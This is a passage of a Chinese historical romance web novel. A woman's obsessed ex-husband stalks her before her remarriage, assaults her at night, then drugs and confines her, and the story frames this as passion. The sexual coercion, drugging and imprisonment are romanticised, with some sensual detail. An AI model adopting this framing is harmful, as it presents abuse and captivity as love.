见裴珉蹲坐在脚踏上,完全没有平日礼仪规矩模样,身上气息阴冷又凶煞,手里面是那个旧的很且绣工极差的荷包。 这般的绣品,世家郎君早早就丢了,怎会舍了脸皮戴在身边,裴珉却时常戴着,也不怕旁人嘲笑之言。 这是姜秋姝很早以前绣的,李明澈瞧见过裴珉收下,可从未见他戴过还当是嫌弃丑给扔了,人在未曾见他戴过,如今人不在,却天天别在腰上睹物思人。 李明澈叹了口气,这又是何必呢! 宋县令要娶妻的事,他也曾听说了,既然已经和离,姜娘子便是另觅新欢也是常事! “你说如何叫一人对你死心塌地?”裴珉问道。 李明澈走了过去,“你总不能将人锁在身边吧?姜娘子与你已经和离了,与宋县令也算般配。如今见她好好活着,裴珉你该放下了,洛阳好女子多的是。” 李明澈想要裴珉放下,他如今这模样,哪里还是以往那个洛阳城,人人称羡的裴太傅。 锁起来!这倒是个极好的办法。 叫她只能看着他,只能对他说甜言蜜语,不和那些居心叵测之人并肩行走! 她要嫁人,他同意了吗? 裴珉眼神狠厉,那人配不上她!都怪她身侧的男子勾引了她。 裴珉对宋执书没有半点儿的印象,若他能忆起,当初那个被王家九郎所欺辱的学子,便是宋执书,也不晓得是否会后悔当初的袖手旁观。 若是当初是他出手,帮了那寒门学子,姜秋姝便不会再帮宋执书,两人间的姻缘也不会因此展开。 裴珉日后忆起此事来,更是厌恶起世家与寒门之间的天堑。 “那就锁起来。”裴珉沉声道,几乎呢喃的声音,叫身侧隐约听到此言的李明澈吓了跳。 他是看见过他疯的模样,只怕莫要出了什么事才好! ~~ 白日里,姜秋姝便去了县令府,宋太夫人极少如今日这般的红光满面,她靠坐起来,让老嬷嬷将她的嫁妆全部拿了出来,一件儿一件儿的黛在姜秋姝的身上。 每样都是好看的,宋太夫人皆是夸赞的,最后将盒子全给了她。 姜秋姝没有推辞,她不想叫自己影响了宋太夫人的心情。 等日后还给宋执书便是了。 “婚事安排在十日后,会不会太赶了些。”宋太夫人问道。 “不会,”姜秋姝摇头,将眼底黯然遮了起来,“找了先生算,十日后便是最好的日子,可保我与宋郎百年好合。” 姜秋姝羞怯的低头,宋太夫人摸了摸她的发丝,高兴地合不拢嘴。 两人说了会儿话,宋太夫人睡意上来了,姜秋姝便劝她休息,正巧管事要与她商讨婚仪之事。 两方父母皆亡,唯一能长辈却又是如今的病态,这场婚事,也只有姜秋姝亲自来操办了。 婚仪赶得急,姜秋姝一整日都待在县令府,宋执书善后徐家的事儿,也忙得很,唯有午时可喘口气,还与她一道商议婚仪。 两个即将成婚的男女,不似寻常人羞羞答答状,认真的探讨着礼仪流程。 姜秋姝成过一次婚,到底是比宋执书熟悉了些,两人商议便顺畅了些。 在县令府用过晚膳,宋执书想要送她,结果又被县衙的人叫走了。 江都的夜漆黑,只一些屋檐下挂了灯笼,不过不足以照亮路,姜秋姝提着灯笼,这条路,她走了许多回,并不害怕。 冬刚去,春将来,寒风依旧冷冽,发带吹起,飘扬在空中,姜秋姝拢了拢披风,灯笼里的蜡烛被吹灭。 身前忽然笼罩着个黑影,她张嘴将要叫,可下一刻唇被捂上,屋檐下的灯笼也被吹灭,眼前一片漆黑。 她伸手四处乱抓,指甲划破血肉,那人身形停滞,可依旧未出声。 姜秋姝尽量保持着镇定,可当她被困在怀中,双手被他抓牢,桎梏在胸前,灯笼掉落。 那人身形高大,应当是个男子模样,耳侧忽然被碰了下,带着湿润的温热,等热气往耳朵里灌,她才晓得是被人咬了。 下一刻,耳垂被来人给含弄在嘴里,他空出一只手来,捻这另一只耳垂。 姜秋姝面红耳赤,身体的力气在渐渐脱离,他的身形略微有些熟悉,可手段却是极为高超。 这般厉害的采花贼,手里不晓得沾过多少女子,想到此姜秋姝平白生了股恶心之感,她用力踩在了那人的脚上,可那人实在皮糙肉厚的很,像是半点儿疼痛也不晓得,反倒是夹住了她的腿。 到如今这模样,姜秋姝几乎是动弹不得。 “我未来夫家是东都县令,好汉若是想要活命,便放了我,不然我夫家,必定让你尸骨无存。” 他只是想抱抱她,并无旁意,可当她提起讨人厌的,眼里黑雾闪过。 困住她的手紧了瞬,似恼怒的模样,唇自耳侧离开,拉开她的衣领,咬在了锁骨处,将她牢牢的箍在怀中。 不疼,可忽然碰触到的时候,姜秋姝声音闷哼了下,吓了跳,他力道似在含弄耳垂般吮吸着。 这采花贼当真是个中好手! 姜秋姝又怒又气,“好汉当真是个不怕死的,你若敢碰我,我夫家绝不会放过你。” 锁骨处的动作有了停顿,姜秋姝松了口气,可忽然她的唇被用力咬了下,她疼的眼侧几乎滑出了眼泪。 她恼怒的挣扎起来,那人又从唇瓣处分开,将她牢牢的抱住,身体相触的熟悉感,叫她怔楞。 “裴珉?”她脱口而出。 “又是哪里来的男子,一个县令,一个姓裴的。娘子当真是情郎众多。” 耳侧是略微低沉,压着嗓子的陌生声音,姜秋姝还疑惑裴珉怎会来此,那般木讷的人,又怎会有这样好的手段。 “放开!” 这次那人没在放肆,反倒是放了她,姜秋姝趁此机会狠狠咬了回去,直到嘴里有了血腥味儿她都不松开。 沉闷的笑意自那人胸膛发出,他似乎感受不到疼,姜秋姝松了口,呸了呸。 “你且说宋县令知晓你我的事儿,还会娶你吗?”耳侧声音压低,似有怒意,“为何要嫁他呢?” “关你何事儿!”姜秋姝朝他啐了口。 那人却上前按住她的唇瓣,不想听见这些叫他不悦的话,“莫嫁给他!不然我不晓得会做出什么来。” 似警告,似提醒,也似最后的放任。 像是画了个圈,若是她跳出了这个圈,那人不晓得会做出什么癫狂事来。 “我与好汉不相识,也并无恩怨!”姜秋姝不忿的挣扎着,自然不会答应这般无礼的要求。 那人眸光幽深,只是在感受到她温度后,声音喟叹,似满足,似喜悦,尤其是将她完完全全的抱在怀中。 若是能够毫无距离,除开这些累赘的衣物便好,他欲壑难填,身体温度烫了起来,姜秋姝感受到腹部的异样,吓得不敢再动。 那人却松开了她,迅速地离开,消失得无影无踪。 姜秋姝只觉得晦气的很,迅速捡起灯笼回了如意花坊。 冬葵还未入睡,在廊下等着姜秋姝,看她回来了松了口气,“怎么这般晚?” 姜秋姝简单的说了下,冬葵离得远,加上灯笼没有多亮,便没有瞧见姜秋姝的狼狈。 “早些睡吧!”姜秋姝说了话便立刻回了房间。 她连忙端来了清水,将唇瓣和耳垂洗了干净,脖颈往下的方向,比起唇角的伤要重些,她用帕子使劲的擦着,想将那感觉擦干净。 镜子里,女子俏丽,衣领翻开露出的红痕,多了些活色生香。 她躺在床上,还在想着是何人,行那般恶事,简直丧尽天良,她只当被狗给咬了! 卯时晨光大亮,姜秋姝连忙起身,想起还要去县令府商议婚事,不然时间太赶了。 她过了屏风,便要开门出去,连忙走到了镜子旁,瞧自己如今的模样。 唇畔有块淡淡的痕迹,只有在靠的近些时,才能瞧见。 衣领下的痕迹比起昨夜睡前还要深。 她摸了摸,莫名的熟悉感,叫她往最无可能的方向而去,可又摇了摇头。 她往唇上涂了些口脂,彻底掩盖住痕迹,刚出门,县令府的嬷嬷便走了过来,说宋执书在茶楼约见。 姜秋姝便跟着嬷嬷离开,去了茶楼。 被小二引路上了二楼,宋执书早就等着了,看见姜秋姝后,他连忙起身,不似前几日的不甘,此刻的他随着喜事临近,红气满脸。 “姜娘子坐。”他指了指绣凳,又将糕点全放在了他的面前。 桌上的东西,大都是她所喜欢的,可屋子里的熏香叫她微微蹙眉,也多看了几眼。宋执书察觉到她的神色,连忙用水将香给浇灭了。 姜秋姝有过好奇,没想到宋执书这般心细。 “当下人喜好焚香,起卧坐用膳,使笔墨皆燃着香,姜娘子的如意花坊便不是那般,多用新鲜瓜果或鲜花,比起熏香,自然之物才清新自然。”宋执书如此道。 姜秋姝并未说他说的不对,她不喜熏香只是因在洛阳城里闻多了,每每被规矩所压制,伴随的便是熏香的味道。 叫她也生了厌恶。 “多谢宋郎君,只是你今日叫我来何事?”她开门见山。 宋执书推开了窗户,“江都人求亲常用纸鸢寄情。” 窗户外抬头,漫天的纸鸢随风而起伏,一会儿排布成花朵的模样,一会儿又成了祥云模样。 姜秋姝此处,刚好能够瞧见城墙外数百名百姓放着纸鸢,天空犹如鲜花绽放,美的惊人。 “我想送姜娘子漫天纸鸢,姜娘子可愿收下。”宋执书眸光温柔,只望着她。 姜秋姝原是震惊的,可逐渐收敛了眸子,“你知晓的,我与你说的清楚。” 宋执书摇头,“不问别的,只问姜娘子喜欢吗?只问这纸鸢,我赠与娘子的是喜乐,而非旁的苛求。” 喜欢吗?她自然是喜欢的,还从未有人这般讨好过她,瞧着这般景色,她走到了窗户旁想要看的清楚些。 “谢谢宋郎君,我很欢喜。” 她是好运的,离开了洛阳,来了江都遇上了宋家祖孙这般好的人。 世间人,并非皆如同洛阳城里的披着繁华虚荣的壳子,亦是有如同璀璨星夜,在夜中行走,光亮如昼的。 她所希冀的,便是多些这样的人。 姜秋姝笑容如春日盛开的花,美的叫人迷恋,宋执书看着她,心口地跳动清晰可闻。 他对她确实心动。 她不似寻常女子,勇毅敢谋,一到江都便将两大世家算计进去了,那牡丹花有奇用,是她喜闻乐见的。 她所谋划的他看不清,但也晓得是好的,是为了不叫更多的人被世家所欺压。 茶楼里看着这般景色的人,开怀赞叹,更有甚者,点名这是县令为姜娘子所做的。 带着好意的笑容,一时遍布茶楼,宋执书微红了脸。 而茶楼最里侧,李明澈的端起茶杯的手微微抖动,越是听见茶楼里恭贺姜秋姝婚事的声音,他越是惊恐。 身侧之人冷冽的气息,叫他想要逃离。 也怪他一时之兴,想要看什么牡丹!! 不然就不会来江都见到姜秋姝了。 裴珉眸中暗涌翻动,似黑云压低,藏着磅礴惊雷。 他提醒过她了。 姜秋姝在茶楼看过纸鸢,便与宋执书去了县令府,宋太夫人一脸的促狭,姜秋姝才隐约察觉,其中宋太夫人也出过力。 离成婚不过五日,姜秋姝莫名有了紧张之色,上一回婚仪实在荒谬,一个没有新郎,由着旁人来行礼的婚仪。 如今又是为了满足宋太夫人的心愿,假成婚。 她当真是姻缘浅薄,那根儿原本应该由月老系上的线,许是被忘记了。 夜间是宋执书将她送回了如意花坊的,她站在门口,转身向他告辞,看着宋执书慢慢远去,她将要推开如意花坊的门,身后一道声音,叫她愣在原地。 “娘子,许久不见了,可曾想为夫。” 第40章 第40章愉悦(补偿) 姜秋姝往后退了步,那人却往前,提着灯笼从台阶上逐步往上,灯光落在阶梯上,留下昏黄又斑驳的影子。 他步步逼近,眼眸犀利望向她的时候,犹如猛兽盯着猎物般的专注。 被他目光所慑,姜秋姝没动,只是靠在了门上,警惕的盯着他。 她几乎认不出他来了,浑身气势皆变了,没有以往老夫子老学究般的温善,反倒凛冽似冰冷的刀锋在举起来时,即将落下闪烁着的最后的寒光。 “裴珉。”她还是唤出了他的名字。 她以为不会这般早的见面,他真是打了她个措手不及。 屋檐下灯笼的光,将他笼罩,面孔也在隐约中变得清晰起来,他靠近她,将她笼罩在他的身影中。 姜秋姝的目光落在他脖侧,瞳孔放大,衣袖下的掌心捏在一起,最后落到了他的唇瓣,眼眸中更是震惊闪烁而过。 “娘子还记得为夫?真是极好。”他靠近,温热的嗓音扑在她的脖颈。 似狩猎时,猛兽要咬下猎物,给与的最后一击。 姜秋姝察觉到危险来临,呼了口气,镇定的看着他,眸光掩饰出了平常而又稀松的模样。 “今日太晚了,裴大人若是有事,不若白日再来。”姜秋姝握着手里的灯笼,横跨一步,脱离出他的气息。 “白日?娘子又要一声不吭的离开了?”裴珉道,“不对,娘子如今要嫁人,怎会离开呢?” 后面的声音,冷的叫姜秋姝打了个寒颤。 没想到裴珉消息竟然会这般的灵通,可她竟然未曾收到洛阳的消息? 姜秋姝眼眸划过深思,眉宇轻拧,如今躲是不能躲了的。 当初她离开定国公府后,便彻底与其划开了界限,不想要太夫人晓得她的行踪,甩开了车夫。 想过裴珉的反应,怕他做出旁的事,没有及时出城,反倒是藏在了洛阳城中。 那段时间,洛阳城中的人仰马翻,叫她心慌,她便晓得裴珉不会那般轻易放过她,却没想到,他执念深的可怕。 她分明是让了位置,做了好事的,即便裴珉对郑六娘没有那心思,她主动让出了他夫人的位置,也是给洛阳城里,他所想要的端淑女子腾了地方。 可裴珉闹得凶,四处皆是寻她的人,她躲在洛阳城中,也怕被人所发觉,只得做出了假死的模样,东鸣山脚下的东西是她故意放的。 后面好在顺利出了城,可才晓得城外搜索她的人更多,姜秋姝实在没了办法,用了好些银子,做了假户籍,离开了洛阳到了扬州。 即便扬州与洛阳远在千里,寻她的痕迹遍地皆是,好在她在东都碰上了宋执书,在宋执书的庇护下,过了两年安生日子。 她是要回洛阳的,可没想到在江都与裴珉遇上了。 姜秋姝目光落到了裴珉的唇瓣,和脖侧裸露在外的肌肤,眸光里有紧张。 裴珉怕是盯上她好几日了。 姜秋姝缓了口气,尽量放缓了语气,“你既然晓得我不会轻易离开,若是要叙旧,便明日可好,今日确实是累了。” 裴珉往后退了步,像是给姜秋姝让位置,姜秋姝连忙打开了门,刚进了半个身子,门便被裴珉给撑开了,她力道不及他,他直接进了院子里。 姜秋姝将门彻底打开,瞧了瞧街边空寂无人的模样,神情略慌。 “你我夫妻,何必那般忌讳,你累了,我也累了,刚好就寝。”裴珉看着她道。 此人疯了!他们已经和离了,且他也晓得她即将要成婚的事,怎厚着脸皮说出这样的话?! 姜秋姝却不能在此刻激怒了他,“府中并无裴大人可居住的地方,我都是与店里的女眷住在一处。裴大人若是住进来,没地方睡。” 裴珉看了看屋子的简陋,并未怀疑姜秋姝的话。 院子里草木貌似,繁花似锦,裴珉看着这景色,想到了她所开辟的花圃。 “娘子,你的花圃,我已经重新种上了花,你与我一道回去,刚好可见百花盛开的模样。”裴珉嘴角扯出了抹笑。 姜秋姝未答,裴珉却自顾自道:“三娘四娘我已经罚过了,从前是我罚的太轻了,如今她们不敢不敬重你。” 裴珉晓得她受了许多的委屈,他都替她记住,日后等她回去了,一一清算。 为人夫婿,他以前做的不对,等她回去了,他会改的。 夫妻是一世的缘分,哪里能轻易的断了。 她如今是在生他的气。 姜秋姝抿了抿唇,指尖划过锁骨处的痕迹,他却开始怀疑,他真的是裴珉吗? “多谢五郎,”姜秋姝缓了些语气,如以往般的温柔,“可时下太晚了,你若是要叙旧明日可好?” 她安抚着他,不想现在撕破脸皮。 裴珉目光深深落在了她身上,察觉到她转圜了的语气,他便也没再那般固执,又看确实没他住的,便道:“明日等我。” 裴珉离开后,姜秋姝立马关上了门,她靠在门上,呼吸比起平日快了许多。 裴珉如今的模样,很不对劲! 夜间,姜秋姝久久未合眼,与冬葵住在一起不过是骗裴珉的。 裴珉是想要她与他一道回洛阳吗? 从他的言语中,好似从未将他们和离的事当真,甚至即便晓得她和宋执书的婚事,也只当不存在。 他还是想要掌控她的一切,犹如从前要她学那些规矩一样。 姜秋姝翻了个身,思量着如何解决了此事。 与宋执书的婚事,既然答应了,需得做到,可她怕裴珉因此生了事。 天亮了,姜秋姝对着镜子整理着,触碰到锁骨处的伤,疼意让她不敢去碰。 裴珉确实是个麻烦事儿! 门被敲了三下,打开后冬葵欣悦的看着她,“宋大人来了。” 婚仪的婚服送来了,是由宋执书领着人送来的,而此时距离婚礼不过四日。 姜秋姝连忙叫人进来。 可宋执书只是站在门外,并未与姜秋姝见面。 婚礼前男女是不能见面的,这样的习俗也是他放完纸鸢后,听江都县里的人说起,前儿没有遵守,此时他无论如何却是要守上一守的。 即便不过是假成婚。 可又想和姜秋姝说说话,便隔着门,隔着屏风。 也算是全了礼仪。 姜秋姝摸了摸托盘上的嫁衣,鲜红的颜色,她上回穿它,已经是四年前了。 她并未试,道:“尺码对了,衣服便合适。” 冬葵瞧着外边儿宋执书神色暗淡了,撺掇着姜秋姝,“衣服还是上了身才晓得合适不合适?成婚是大事,你不试试,婚礼时才发现不合身,就迟了。” 姜秋姝虽晓得此婚仪不过是假的,数日后姜满这个名字,也会彻底消亡在江都。 可冬葵却不晓得,一直在替她担忧。 她便进了内室,换着衣服。 冬葵原是想要进去帮她,正巧账上来了人,她连忙出去了。 这件婚服是东都,巧手阁的绣娘做的,裙摆处坠了圈珍珠,对襟广袖衫领口和袖口边绣着合欢花样式,齐胸襦裙处绣了她所珍爱的牡丹。 就连行礼用的遮面的团扇的图案,也是她所喜爱的牡丹花样式。 姜秋姝拿起团扇,在手上把玩儿了片刻,这套婚服极为合她的眼缘。 姜秋姝褪下里衣,刚要换上,窗口处传来响动,她顺手捡起嫁衣的外衣去瞧。 忽然一道人影从窗户处,跳了进来。 裴珉看着她身上的那件嫁衣,惊怒刹那间而起,“我说过的,不要嫁给宋执书。你根本没有好好听我的话,”裴珉眉眼上挑,抓住她的双手,“娘子,你我才是天造地设的一对。” 姜秋姝根本来不及反应,便被他搂在怀中,身上仅半披的那件嫁衣也随之落地,而她身上如今只有件单薄的里衣。 裴珉拉住她,颔首咬在了锁骨未消的伤痕上。 姜秋姝闷哼了声,想要将他推开。 可他带着她往前走,彻底将她压制到屏风前,而屏风外宋执书朝里催促道:“姜娘子可好了?” 姜秋姝身子僵住了,害怕被宋执书瞧见了这一幕,她用力挣扎起来,可裴珉抓住了她的双手。 如那夜一样的模样,她几乎被他完全桎梏着。 “你到底要做什么!”姜秋姝压低了声音。 裴珉眸中猩红,当瞧见她穿着嫁衣,彻底的忍不住了! 那年他们新婚,他甚至未曾见过她穿嫁衣的模样,他回来时已经很晚了,她本是穿着嫁衣,在喜房里等着他。 可婢女失了手,将茶水洒在了嫁衣上,她便换了常服。 他当时没说什么,也没甚感觉。 只是今日瞧见她身穿嫁衣,心里犹如万箭穿心。 这嫁衣是为了外边的男子所穿的! “娘子,你要弃了我!”裴珉咬着牙齿,从喉咙里说出这几个字。 姜秋姝愣神,瞧见他眼底里的风暴,甚至是委屈,她偏过头去,心里的微动很淡,几乎是察觉不到的地步。 她更想的是,解了目前的窘境。 “你再闹大些,是要别人闯进来,瞧见我如今的模样?”姜秋姝反问道。 里衣随着她的挣扎有些乱,那张脸满是对他的抗拒,裴珉心里很疼,眼神却直白,盯着她,没像以往般的躲避。 想要将她融入骨血,他学了很多,如今不会叫她失望了! 可听了她的话,他连忙捡起地上的嫁衣,一件一件替她穿上,齐襦裙,广袖衫,腰间系带,披帛,皆由他一一替她给穿戴上。 姜秋姝不想惹怒了他,便任由他来,只当个伺候主人的奴仆罢了。 裴珉不想要旁人瞧见她如今的模样。 面前的女子一席嫁衣。 裴珉看着她,目不转睛,原是这般美的惊人! 裴珉自嘲起来,可这不是为他穿的! 姜秋姝生怕裴珉又做出什么事来,连忙打发了外边儿的宋执书,并告知他嫁衣合身不必改了。 宋执书本只是想听听她的声音,也不好再待,衣服既然合身,他便离开了。 成婚的日子越来越快了!他总能瞧见的! 姜秋姝回到房间里,裴珉还未离开,只是坐在了床榻上,“娘子房间里并无外人,为何要骗我?” 姜秋姝气闷的很,方才送宋执书离开,宋执书还问她房间里,为何会有旁的声音,她只能含糊的糊弄过去。 “裴大人,您究竟要如何?”她问道。 “为何不叫我五郎了?”裴珉又问她,其实他更想问的是,为何在那碗汤放了迷药。 为何离开的干脆利索,没有留恋,为何假死骗他,为何要与旁人成婚? 可裴珉问不出口,只是望着她。 姜秋姝没了耐心,索性与他说清楚,“裴珉我们已经和离了!你与我而言,不过是生人。那夜晚你冒犯了我,如今又多次上门,说些我听不懂的话。裴珉你究竟明不明白,我们已经桥归桥路归路了!” 桥归桥,路归路? “我不允,”裴珉道,“和离书我没签过字,我们便还是夫妻。你不喜规矩,我也不会逼着你。府中流言蜚语叫你难受,我便处置了那些人。” 他不计较她没经住旁的男子的诱惑,只怪她身边的男子太过诡计多端,“你所要的一切,我皆可以给你。只我们夫妻二人不分离。” 姜秋姝捏了捏眉心,她不懂,为何裴珉会有如此的反应。 她离开,他寻她的阵仗叫她恐惧,他寻到她,如今不放开的模样,叫她不耐,那个夜晚,他不符常理的行为,也叫她不悦。 “可我不愿,我所要的,便是与你毫无关系。”姜秋姝没了与他虚与委蛇的想法。 “裴珉,你且清醒些,我与你和离板上钉钉,改了户籍,你不认,大周的律法认。你只是心有不甘罢了,我们间并没有什么情深恒长,洛阳有许多好的小娘子,你该另寻你满意的,成婚生子,繁衍宗族,做好你定国公府五郎该做的。”姜秋姝此言,实诚恳的很。 裴珉看着她急于摆脱他的模样,心口发疼。 她眼神不耐,没有以往的温和,完完全全是没有了他。 无数个没有她的夜晚,他辗转难眠,只有靠着她以往的衣服才能安眠,可那些衣物上她的味道越来越淡。 他夜不能寐,早就思之若狂。 “娘子,你只是怪我做的不够好!”裴珉走近,可姜秋姝直接绕到了小案后面,隔开了他们间的距离。 裴珉没再动,只是眸子认真道:“我心悦你。” 他想要将未曾说的话,告诉她,这回他不敢有隐瞒,害怕再叫她给跑了。 这是姜秋姝头一次听见他说这样的话,她竟然有些想要发笑。 心悦? 她也曾对他有过意动,可终究在重压下,归为了沉寂。 裴珉竟然会对她说出心悦二字。 何来的感情呢? 姜秋姝长舒了口气,其实在再次遇见裴珉便会让她想起,在定国公府所发生的一切,她以为自己都快忘记了。 江都是个好地方,叫她忘却了以往的枷锁,也越发的像最起初的自己。 “可我对你并无一丝一毫的感情。”姜秋姝道。 裴珉只觉得刺耳的很,他们也曾有过琴瑟和鸣的时候,如今为了旁的男子,便要将一切都装作什么都未曾发生的模样。 她身边围绕的男子皆不是好的,只会说蛊惑人心的话。 还将她给藏了起来,让他千寻万寻皆找不到人踪迹,裴珉一想到是宋执书抹去了姜秋姝的痕迹,就想要不顾一切的叫那个猖狂的小儿付出代价! 可他不能,她会不喜。 裴珉眼神越发的暗,盯着她似要将她全部纳入。 “你走吧,如你所见,我要与宋郎成婚了,日后与你再无瓜葛。”姜秋姝背过身去,言语中冷淡无比。 宋郎?多亲昵的称呼,她从未那般亲昵的唤过她。 既然如此,便叫她只能看着他一人便好了,外边儿的男子就如野花,惯会招蜂引蝶的! 一阵风飘过,姜秋姝闻到了股异香,合眼前是裴珉将她搂入怀中。 冬葵回到院子时,发现姜秋吟没了踪迹,还当是出去了,可等到夜晚,依旧没见到姜秋姝的踪迹,她才是彻底的急了,连忙去了县令府,将此事告知了宋执书。 宋执书急疯了,连忙派人四处寻找,并嘱咐底下的人,此事要瞒着宋太夫人。 等到第二日时,他书案忽然出现了张纸条,上面只说了姜秋姝无事,让他莫要寻找了。 宋执书隐约有了种猜测,他颓圮的靠坐在椅子上,那人是何等的看重姜娘子,每半年他都能收到寻人的密信,是他太过自负,以为能够彻底将人护住。 李明澈见县令府没在寻人,他松了口气,也不枉费他送了消息过去。 只是他也没想到,裴珉竟然真的会做出这样的事来。 苦寻已久的人,终于寻得,结果听到了她要成婚的消息,有些出格也正常,只是他没想到犯了糊涂事的,会是裴珉这样的人。 洛阳城里,李长宁看着近日送回来的信件,眉宇微蹙,她早早去了消息,提醒姜秋姝裴珉去扬州的事,可如今快一月了,姜秋姝还未回信。 说起来,裴珉应该已经到了扬州,莫要遇上才好。 “殿下。”薛凛端着点心进了房门,瞧见李长宁半依靠在榻上,底下有男子替她捶着腿。 男子穿的轻薄,身体肌肉在薄纱下若影若现,薛凛黑了脸,将人给呵退。 “装什么装,你不喜这婚事,我亦不喜,我曾说过,你若是想要将赵娘子接到府中,我不会有旁的意见。”李长宁懒懒的站了起来。 薛凛原是有未婚妻的,可薛家亦是百年世家,虽然不及定国公府,可掌一方兵权,这门婚事,本是皇室苛求。 不顾薛凛有未婚妻,硬是下了圣旨,将他招为驸马。 李长宁最不喜这不情不愿之事,早在成婚时便说过,她不管他,他也不能约束她。 只驸马不可纳妾,他若是舍不得赵娘子,只能委屈赵娘子无名无分的待在府中。 两人只做个表面夫妻足以。 只薛凛是个烦人的,成了婚,真将自己当驸马了,时常烦扰她。 “殿下你我既然已经成了婚,便是真正的夫妻,日后这些男子还是莫要让他们进内院了。”薛凛气闷道。 李长宁笑着挑起了他的下颚,“怎么驸马也想一起?” 薛凛甩开了她的手,气恼的离开,却在最后转身,“殿下助姜娘子意欲何为?” 李长宁神色彻底变了,没有方才轻佻的模样,“驸马管好自己便是了,若是胡言乱语传到了外边儿,小心赵娘子的安安危!” 薛凛黯然一瞬而过,最后还是离开了房间。 李长宁朝着空中打了个响指,“日后驸马的举动,皆向我禀报!” 暗卫瞬间闪现又离开了。 ~~ 姜秋姝迷迷糊糊地睁开眼,可四周一片漆黑,她还记得昏迷前,闻到了股香味儿,以及裴珉将她抱在怀中。 所以是裴珉将她给迷晕的。 她强制自己镇定起来,喊了声,“裴珉?” 回声在空荡的房间里,大了些,可惜并没有听到裴珉的回应。 她动了动四肢,皆被什么束缚着,完全动弹不得,她用力挣扎着,手脚并没有什么痛感传来,可就是无法逃脱。 裴珉困住她,便是要她无法准时与宋执书完成婚仪,可一想到宋太夫人,她原本镇定的心,有了些急切。 宋太夫人如今的身子,受不了刺激,若是成婚那日未瞧见她,不晓得会发生何事? 她又挣扎的越厉害了,她必须在成婚前逃出去。 忽然,门吱呀一声打开了,她连忙闭上了眼,呼吸也调整平缓,装作仍在昏迷的模样。 裴珉首先点了蜡烛,将屋子里照的透亮,然后拿起桌子上的布条,走到了姜秋姝的床边。 姜秋姝察觉到双眼忽然被什么蒙了起来,她呼吸有瞬停顿,连忙保持镇定,想要静观其变。 下一秒,脸颊似乎被什么轻柔的东西划过,痒痒的,叫人平白的打了个寒颤。 “醒了?”耳侧是裴珉压低的声音,“娘子,你曾说我是匹夫之勇,不会讨好你?” 姜秋姝听了这般的话,平白多了些不好的念头,尤其是裴珉的下一句,更是叫她的心提到了嗓子眼儿。 “你离开后,我睡也睡不好,以往我真是个傻的,每月只与你在一起两三日,旁的夫妻可从不像我们这般!”他沉声道,被压抑的东西似洪水倾泄。 “不要!裴珉你疯了!赶紧放了我!”姜秋姝不敢装昏,连忙阻止起来。 可下一瞬,她的脚被人握在掌心,细密的吻落在了上面。【你现在阅读的是 】 40-50 第41章 第41章名场面 咔哒一声,脚腕处的束缚松开了,她用力一蹬,想要将人给踹开,裴珉抓住她的脚腕,往上一提,轻柔的触感,碰到了脚背。 他是吻了她脚背? “裴珉你在做什么?”姜秋姝声音颤抖着。 脚踝处传来了冰凉,似戴上了个小巧的东西,他的手离开了她的脚掌,她再次挣扎起来,脆响的铃铛声响起。 脚腕处的东西一晃一晃的,伴随着声声响。 裴珉轻轻的碰了下小铃铛,来回轻晃,声音悦耳。 她是他的,这铃铛便是证明。 姜秋姝下意识的想要抓住些什么,等捏住被褥,掀起褶皱时,她的手被人给轻轻松开又抓住后。 眉宇被碰了下,很轻,似羽毛划过,又逐渐到脸颊,鼻梁,耳垂,最后落到了唇瓣,她侧头,神色抗拒又嫌弃。 即便是自己的脚,也无法忍受。 裴珉连忙起身,似有悟到,端来了茶水,漱了漱口。 一个充满茶味儿,略带几分苦涩的吻落下。 姜秋姝只是紧闭着唇舌,不想叫他得寸进尺。 她的双颊被挤压,半迫着张开了嘴,裴珉不像以往,只晓得在唇边无知的蹭,他往里汲取着她的一切。 茶叶的苦涩在嘴里交换,姜秋姝耳侧被他轻轻的捏着,酥麻感传来,也没了反抗的力气。 裴珉如今真是不可与往日同,两人极少亲吻过,以为也只是唇碰唇,如今他吻轻柔却又将她全部的呼吸都夺了过去。 吻逐渐往下,落到了脖颈处,怜惜的亲了下。 姜秋姝更是痒的难受,挣扎起来,唯独空闲的一只脚一动,悦耳的铃铛声,叫裴珉越发兴奋,眸子里是带着欲望的血色。 两人虽然已经是夫妻,可肌肤却是隔了层,从未有过触碰。 不是不想,而是裴珉不敢! 他害怕心中的困兽冲破了牢笼,只与她在一起,他便晓得,她是他礼仪框架下,所害怕的却又无法舍弃。 她新婚时,朝他扬起的那抹笑,如山间最美最纯净的花,没被压抑,是面向天地的洒脱。 他当时被吸引,同时却不敢再看下去。 只叫她一举一动,皆要符合他夫人的身份。 那笑淡了,眼眸中光辉也泯灭了,他说不出心里的感受,有些慌,同时却庆幸,这样的不同于他以往的东西再消散。 他害怕再这样下去,会将打破他以往的陈规守矩。 他试图将她变成和他一样的人,可却又不是欣悦的。 她是极美的,以往的他,从不敢去看。 可现在才知道,夫妻该如此的,他凭何要忍耐! 姜秋姝看不清裴珉的举动,可她难受的竟然想要哭。 姜秋姝压抑住,声音几乎是从喉咙里出来了,“你走开!” 嗓音变了调,原是想要骂裴珉的,可声不成调,当裴珉吻着她,姜秋姝忍不住想要将人给踹开,脚腕处铃铛剧烈响动…… 黑夜如昼,明月高悬,宅院中萤火虫闪闪发亮,躲进了草丛中,又来了一群觅食的鸟,刚落在砖瓦,铃铛声不断,惊飞而逃。 这座宅院,种着许多的花,如今有大半盛开了,还有部分含苞待放。 天不晓得何时变了,月隐入乌云中,惊雷中,雨淅淅沥沥,花草树木被打湿,今年江都的雨水好似格外的多。 不少人推开窗户看了看这天气,皆叹了口气,庄稼人都是靠天吃饭的! 希望明日有个晴天。 月升日落,不晓得过去了多久,姜秋姝睁开眼,房间里一切清晰可见,熟悉又陌生,甚至叫她以为,自己回了定国公府。 这间房间与定国公府的一模一样,尤其是大开的窗外边儿,种着遍地的花。 她起身,裴珉当真是禽兽,他未与她发生什么实质,可比起实质更加的恼人。 那个洛阳城中敬仰的裴太傅,竟然跪在了她身前吻了她的脚! 可恨!又可恶! 姜秋姝刚站在地面,走了步,脚腕处脆响,让她犹如乌云遮顶,她蹲下身,想要将东西解掉,可这极细的铃铛,却比铁还要硬,她根本弄不掉。 行走间的响动,让她黑了眸子,往门口方向走去,刚要打开门,裴珉端着饭菜进来了。 “醒了?”他声音温柔,比起以往都要柔和。 姜秋姝不语,想要往房间外走,被他拉住手腕,男女间力量当真悬殊,姜秋姝又被他给扯到了房间里,门被关上。 他抱住她,手指捏了捏耳垂,他又要吻下来,姜秋姝连忙侧头躲避,眼眸中尽是对他的嫌弃。 裴珉抿唇一笑,尽管神情嫌弃,可旁的地方欺骗不了人。 